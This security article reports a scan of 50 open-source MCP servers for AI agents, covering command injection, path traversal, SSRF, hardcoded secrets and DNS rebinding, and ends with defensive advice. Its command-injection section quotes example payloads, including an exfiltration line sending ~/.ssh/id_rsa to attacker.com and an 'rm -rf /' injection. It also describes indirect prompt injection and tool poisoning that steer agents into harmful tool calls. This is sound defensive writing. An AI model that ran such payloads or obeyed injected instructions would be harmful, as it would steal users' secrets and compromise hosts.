Vulnerabilities Found by Scanning 50 Open-Source MCP Servers
Contents
MCP servers are convenient. They sit inside Claude Code, Cursor, and Windsurf sessions, giving agents direct access to the filesystem, environment variables, and the network. But “convenient” and “secure” don’t mean the same thing.
Atlas Whoff ran a security scan against 50 open-source MCP servers and published the results on DEV Community. The numbers are rough. And these findings aren’t limited to obscure hobby projects. Vulnerabilities turned up in Microsoft’s official Playwright MCP and in Puppeteer MCP from Anthropic’s official MCP server repository — servers with tens of thousands of users. The second half of this article looks at whether you should just skip MCP and use CLI tools directly.
Five Vulnerability Categories and Detection Rates
A scanner with 22 rules across 10 categories examined 50 MCP servers. The main vulnerabilities broke down as follows.
| Vulnerability Category | Prevalence | Severity |
|---|---|---|
| Missing Input Validation | 61% | High |
| Command Injection Risk | 43% | Critical |
| Path Traversal | 31% | High |
| Hardcoded Secrets | 27% | High |
| SSRF (Server-Side Request Forgery) | 18% | Medium–High |
Over half the servers lacked input validation, and more than 40% carried command injection risk. These aren’t theoretical concerns — MCP servers hold direct execution privileges on the host, making these implementation flaws immediately exploitable.
Vulnerabilities in High-Profile MCP Servers
Vulnerabilities have been reported even in well-known MCP servers with tens of thousands of npm downloads.
DNS Rebinding in Playwright MCP (Microsoft official)
A DNS rebinding vulnerability in Playwright MCP v0.0.39 and below allowed an attacker to take over all tools on a locally running MCP server from the outside (GHSA-8rgw-6xp9-2fg3).
The root cause was missing Origin header validation. The MCP spec explicitly states “Servers MUST validate the Origin header,” but Playwright MCP hadn’t implemented it. An attacker could set up a malicious web page, and the moment the victim opened it, the attacker could perform file operations and browser automation through the local MCP server.
A silent patch was shipped in v0.0.40. Microsoft did not assign a CVE.
SSRF and Prompt Injection in Puppeteer MCP (official MCP server collection)
Puppeteer MCP, formerly included in Anthropic’s official MCP server repository (roughly 91,000 monthly npm downloads, now archived but still in use), had multiple vulnerabilities.
First, SSRF. puppeteer_navigate had no URL filtering, allowing access to file:///etc/passwd and the AWS metadata endpoint (169.254.169.254). On top of that, indirect prompt injection was possible — a malicious web page could embed hidden text instructing the LLM to execute JavaScript, enabling cookie theft and access to internal networks.
Browser-automation MCP servers are particularly susceptible to combined SSRF and prompt injection attacks because reaching external content via URLs is part of their core functionality.
Command Injection in Kubernetes MCP (2 patches applied)
mcp-server-kubernetes had a command injection vulnerability in its exec_in_pod feature (GHSA-gjv4-ghm7-q58q, GHSA-wvxp-jp4w-w8wg). Unsanitized input was passed to a tool that executes shell commands inside Kubernetes pods, so the blast radius extends beyond a single host OS. A container breakout could compromise the entire cluster.
Read-only Bypass in mcp-database-server (CVE-2025-59333)
mcp-database-server implemented its read-only mode with nothing more than a startsWith("SELECT") check. SELECT pg_terminate_backend(pid) was enough for DoS, and stored procedures could modify data. A textbook case of naive string checks failing as a security boundary.
Command Injection in adb-mcp (unpatched)
In adb-mcp for Android Debug Bridge, the device parameter is concatenated directly into Node.js’s exec(). Shell metacharacters allow arbitrary command execution. Severity is CRITICAL. No fix has been released.
graph TD
A["Playwright MCP<br/>DNS Rebinding"] --> E["Common Pattern:<br/>Missing Input Validation"]
B["Puppeteer MCP<br/>SSRF + Prompt Injection"] --> E
C["Kubernetes MCP<br/>Command Injection"] --> E
D["adb-mcp<br/>Command Injection"] --> E
E --> F["Host OS / Cluster /<br/>Internal Network<br/>Access Compromised"]
All of these are documented in GitHub Advisories and issues. Some have been patched; others, like adb-mcp, remain unpatched. Check the version and security advisories of every MCP server you’re running.
Missing Input Validation (61%)
This was the most common vulnerability. File-reading tools that performed zero path sanitization turned up everywhere.
The typical vulnerable pattern is a read_file() function that passes user-supplied paths straight to open(). Provide ../../.env and you can read arbitrary files relative to the MCP server’s working directory.
The startsWith("SELECT") check in mcp-database-server mentioned earlier is another form of this. Validation that looks present but doesn’t actually work — “security theater” — can be worse than having no check at all, because developers assume the issue is already handled.
This is structurally the same problem as the OpenClaw SSH sandbox escape vulnerability. OpenClaw’s symlink validation gap allowed sandbox escape, but many MCP servers don’t even have a sandbox. Path validation is the only line of defense, and it’s broken.
The same trend shows up across OpenClaw’s skills (plugins). Composio’s analysis found critical vulnerabilities in 283 out of 3,984 skills (7%), enabling credential theft and remote code execution. MCP servers and OpenClaw skills live in different ecosystems, but they share the same underlying problem: AI agent extensions don’t validate enough.
Command Injection (43%)
User input is passed directly to a subprocess with shell=True. In Python, that’s subprocess.run(cmd, shell=True). In Node.js, it’s child_process.exec() with string-concatenated commands.
The adb-mcp vulnerability is exactly this. Inject ; cat /etc/passwd into the device parameter and it runs via Node.js’s exec() on the host. Kubernetes MCP had two instances of the same pattern in exec_in_pod.
Attackers deliver malicious input to MCP tools through prompt injection. Inject ; rm -rf / or $(curl attacker.com/exfil?data=$(cat ~/.ssh/id_rsa)) into a filename parameter, and it executes directly on the host machine.
This is fundamentally different from command injection in traditional web applications. Web app command injection follows an “HTTP request → server” path. MCP server command injection follows an “AI → tool call → host OS” path. The attacker doesn’t even need to send HTTP requests directly — embedding indirect prompt injection in a web page or document that the AI agent reads is enough.
The same mistake keeps repeating in other coding agents. The OpenAI Codex branch name injection that leaked GitHub tokens in April was a prime example — the same design flaw occurring outside MCP entirely (Claude Code’s full source code leak and OpenAI Codex’s token theft vulnerability surfacing simultaneously). The Clinejection supply chain attack via GitHub issue titles targeting Cline demonstrated the same attack chain: prompt injection → AI agent tool execution → host compromise.
graph TD
A["Attacker embeds malicious content<br/>in web page / document"] --> B["AI agent reads<br/>the content"]
B --> C["Indirect prompt injection<br/>triggers MCP tool call"]
C --> D["MCP server passes unsanitized<br/>input to shell"]
D --> E["Arbitrary command execution<br/>on host OS"]
E --> F["File theft, env var leakage,<br/>reverse shell"]
Path Traversal (31%)
Related to missing input validation, but specifically about missing path canonicalization. ../ directory traversal allows access to files outside the MCP server’s intended directory.
Web server path traversal defenses have been refined over 20+ years, but many MCP server developers haven’t inherited that knowledge. A few-hundred-line Python MCP server by an individual developer doesn’t include the kind of path validation built into web application frameworks.
Hardcoded Secrets (27%)
Patterns like API_KEY = 'sk-prod-abc123xyz...' sitting in source code. API keys and database passwords committed to MCP server repositories.
This is a classic problem, but it carries additional risk in the MCP context. MCP server source code can be partially loaded into an agent’s context window, meaning hardcoded secrets can leak into agent responses. Combined with tool poisoning attacks (where malicious instructions are embedded in a tool’s description or metadata to make the AI behave in unintended ways), an attacker could get the agent to exfiltrate secrets to an external server.
SSRF (18%)
MCP servers with URL-fetching capabilities that don’t restrict requests to internal networks. SSRF (Server-Side Request Forgery — tricking a server into making unintended internal requests) enables access to http://localhost:3000/admin or http://169.254.169.254/ (cloud metadata endpoints).
The Puppeteer MCP case is a perfect example. puppeteer_navigate had no URL filtering, allowing local file reads via file:///etc/passwd and AWS temporary credential retrieval via http://169.254.169.254/latest/meta-data/iam/security-credentials/. Browser-automation MCP servers blur the line with SSRF because opening target URLs is part of their core functionality.
For MCP servers running in cloud environments, the metadata endpoint yields IAM role temporary credentials, which can then be used for lateral movement across the entire cloud infrastructure.
A Threat the Scan Missed: DNS Rebinding
DNS rebinding wasn’t part of the 50-server scan, but a serious vulnerability class affecting MCP servers broadly has emerged in 2026.
MCP servers using SSE (Server-Sent Events) or Streamable HTTP transport run as HTTP servers on localhost. In a DNS rebinding attack, the attacker’s domain resolves first to the attacker’s IP, then switches to 127.0.0.1, bypassing the browser’s same-origin policy to send requests to the local MCP server.
The Playwright MCP vulnerability was exactly this — because it hadn’t implemented the Origin header validation required by the MCP spec, opening a malicious web page was all it took to gain external access to every tool.
What made this even worse was that the official MCP Python SDK itself had DNS rebinding protection disabled by default (enable_dns_rebinding_protection=False). Follow the official tutorial to deploy an MCP server, and every SSE/HTTP-based server is wide open to this attack. It’s an SDK-level problem — no amount of care by individual server developers can prevent it.
graph TD
A["Victim opens attacker's web page"] --> B["JavaScript uses DNS rebinding<br/>to reach localhost:MCP port"]
B --> C["No Origin header validation<br/>Request accepted"]
C --> D["All MCP server tools<br/>accessible from outside"]
D --> E["File read/write<br/>Shell command execution<br/>Browser automation"]
Mapping to OWASP MCP Top 10
OWASP published the OWASP MCP Top 10 in 2025, categorizing vulnerabilities specific to MCP servers. Mapping this scan’s findings to those categories:
| Finding | OWASP MCP Top 10 |
|---|---|
| Hardcoded Secrets | MCP01 Token Mismanagement & Secret Exposure |
| Command Injection | MCP05 Command Injection & Execution |
| Missing Input Validation | MCP10 Context Injection & Over-Sharing |
| Path Traversal | MCP02 Privilege Escalation via Scope Creep |
| SSRF | MCP07 Insufficient Authentication & Authorization |
Additionally, MCP03 Tool Poisoning — though not covered in this scan — is an especially severe supply chain risk for MCP servers. A malicious MCP server embeds hidden instructions in tool definitions, causing the AI model to act against the user’s intent. mcp-scan by Invariant Labs is a dedicated tool for detecting this kind of attack, catching rogue instructions in tool descriptions and rug pulls (swapping out the description after the tool has been approved).
As covered in AI agent memory injection attacks and supply chain poisoning, when MCP servers are distributed through marketplaces like ClawHub and SkillHub, the same supply chain risks as npm and PyPI apply. Over 30 CVEs targeting MCP servers, clients, and infrastructure were reported in just January–February 2026, including a CVSS 9.6 remote code execution vulnerability. The SANDWORM_MODE worm targeting npm packages specifically targeted development environments like Claude Code, Cursor, and VS Code — and the path through a compromised MCP server dependency is entirely realistic.
Running the Scanner
The MCP Security Scanner used in this scan is open source. You can run it directly with uvx.
uvx mcp-security-scanner scan ./my-mcp-server
It checks 10 vulnerability categories with 22 rules. Run it against any MCP server you’re about to install, or your own server before deploying.
For tool poisoning detection, mcp-scan is a separate tool. MCP Security Scanner handles static analysis of source code; mcp-scan handles dynamic inspection of tool definitions.
Why This Is a Real Threat
What makes MCP servers fundamentally different from ordinary npm packages or external libraries is their permission scope. A regular npm package runs inside the application process and is limited to whatever the code does. An MCP server, on the other hand, is embedded in an AI session and executes file reads/writes, environment variable access, shell commands, and network requests on behalf of the AI agent.
When MCP functions as the connection point to external services — as with Claude Code Channels (pushing events to sessions from outside via Claude Code Channels) — a vulnerability in that server means external input can be exploited directly. If an attacker can use an MCP server as a stepping stone, asking the AI to “read this file” is enough to extract sensitive information.
As discussed in local sandboxed execution of AI agents, approaches like macOS sandbox-exec or Windows Sandbox can isolate MCP servers, but most MCP servers currently run without any sandbox at all. They have access to the user’s entire home directory, with input validation as the only line of defense.
Defensive Basics
- Read the source code before installing. For small servers, it’s typically just a few hundred lines
- Canonicalize file paths with
os.path.abspathand verify they fall within allowed directories - Use
shell=Falsefor shell commands and pass arguments as arrays (e.g.,subprocess.run(["git", "log", branch_name])) - Load credentials from environment variables. Never put them in source code
- Implement Origin header validation when using SSE/HTTP transport. Enable the MCP SDK’s DNS rebinding protection setting
- For servers with URL-fetching capabilities, block
file://schemes and private IP addresses (127.0.0.1,169.254.169.254, etc.) - Implement rate limiting and validation on inputs
- Use parser-level validation instead of naive checks like
startsWith
The Structural Problem
What this scan reveals is that MCP server security depends entirely on the awareness of individual server developers. npm packages and browser extensions at least have marketplace-side review processes. MCP servers have none. They get installed directly from GitHub repos via npx or uvx and run with full access privileges on the host machine.
GitHub’s agent execution infrastructure is trying to address this with sandboxing and privilege separation, but for MCP servers running locally in Claude Code or Cursor, users have no defense other than verifying the server themselves before installing. Network-level defenses like Cloudflare’s WAF for AI apps don’t apply to locally running MCP servers.
The fact that DNS rebinding protection was disabled by default in the official MCP Python SDK is an SDK-level problem, not an individual developer problem. Until the ecosystem’s infrastructure layer provides secure defaults, this situation won’t change.
With more than 30 out of 50 servers carrying some form of vulnerability, it’s worth asking whether you even need an MCP server in the first place.
Why Not Just Use CLI Directly?
Most of the MCP servers where vulnerabilities were reported are thin wrappers around existing CLI tools.
| MCP Server | What It Wraps |
|---|---|
| adb-mcp | adb command |
| mcp-server-kubernetes | kubectl command |
| mcp-database-server | SQL client |
| Playwright MCP | Playwright library (CDP protocol) |
| Puppeteer MCP | Puppeteer library (CDP protocol) |
Claude Code and Cursor have built-in shell execution. If you want to run kubectl get pods, just run it from the agent’s terminal — no MCP server needed. Every intermediate layer you add creates another surface for missing validation and command injection.
The Permission Model Difference
The biggest reason CLI can be safer is the difference in permission models.
When Claude Code executes a shell command, it asks for user approval on each command (you can configure auto-approval via allow lists, but the default is per-command confirmation). If the agent tries to run rm -rf /, the user can press “No” and stop it.
Through an MCP server, once you approve the tool, all subsequent individual commands execute automatically. The adb-mcp command injection vulnerability is so severe precisely because the moment the user approves “use adb-mcp,” every shell command that runs internally is pre-authorized. MCP’s “per-tool approval” effectively becomes “blanket approval for every command that tool might execute internally.”
graph TD
subgraph CLI["Direct CLI Execution"]
A1["Agent"] -->|"Per-command approval"| B1["Shell"]
B1 --> C1["adb / kubectl / git"]
end
subgraph MCP["Via MCP"]
A2["Agent"] -->|"One-time tool approval"| B2["MCP Server"]
B2 -->|"Auto-executed internally"| C2["adb / kubectl / git"]
end
When CLI Is Enough
In the following cases, adding an MCP server offers almost no benefit.
One-off read commands like git log, kubectl get pods, and adb devices — the agent can run them directly and interpret the results as-is. The same goes for routine deploy scripts and build commands; wrapping them in an MCP server only adds complexity. For file operations, if your environment already has the agent’s built-in capabilities (Read/Write/Edit), a filesystem MCP server is redundant.
CLI tools themselves are battle-tested code that’s been through years of security review. git’s command parser and kubectl’s argument handling are designed to be robust. This scan found plenty of cases where placing a few hundred lines of unreviewed MCP wrapper in front of those tools undermined their robustness.
When You Still Need MCP
That said, “just use CLI for everything” doesn’t hold up.
Browser automation isn’t easily replaced with shell commands alone. The page analysis, screenshot capture, and form input that Playwright MCP provides is on a different level from fetching HTML with curl and parsing it with regex. After the DNS rebinding fix (v0.0.40 and later), the value of browser-automation MCPs is worth the risk.
MCP’s real value lies in typed tool definitions and discovery. It lets agents know what tools are available, with each parameter’s type and description declared in JSON Schema. With shell commands, you’re stuck reading --help output and guessing at arguments. For complex workflows that combine multiple tools — like understanding a DB schema, generating SQL from natural language, and formatting the results — MCP is more reliable.
OAuth integration with external services, webhook reception, and other capabilities that are hard to do from a shell are also squarely in MCP’s territory.
The Decision Framework
Adding an MCP server should be judged not by “it’s convenient” but by “does the functionality justify this risk?”
If it’s a thin wrapper around an existing CLI tool, just use the CLI directly. It only adds attack surface. For capabilities that CLI can’t easily replicate — browser automation, OAuth integration, complex API orchestration — MCP delivers real value, but verifying the source beforehand and pinning the version are non-negotiable. When you need typed orchestration across multiple tools, MCP’s JSON Schema pulls its weight, but you need to verify the validation in each tool yourself.
With vulnerabilities found in over 30 out of 50 servers, the era of casually adding MCP servers via npx is over. Scan before installing. Use CLI where CLI suffices. Only reach for MCP when its advantages are clear and you understand the risk.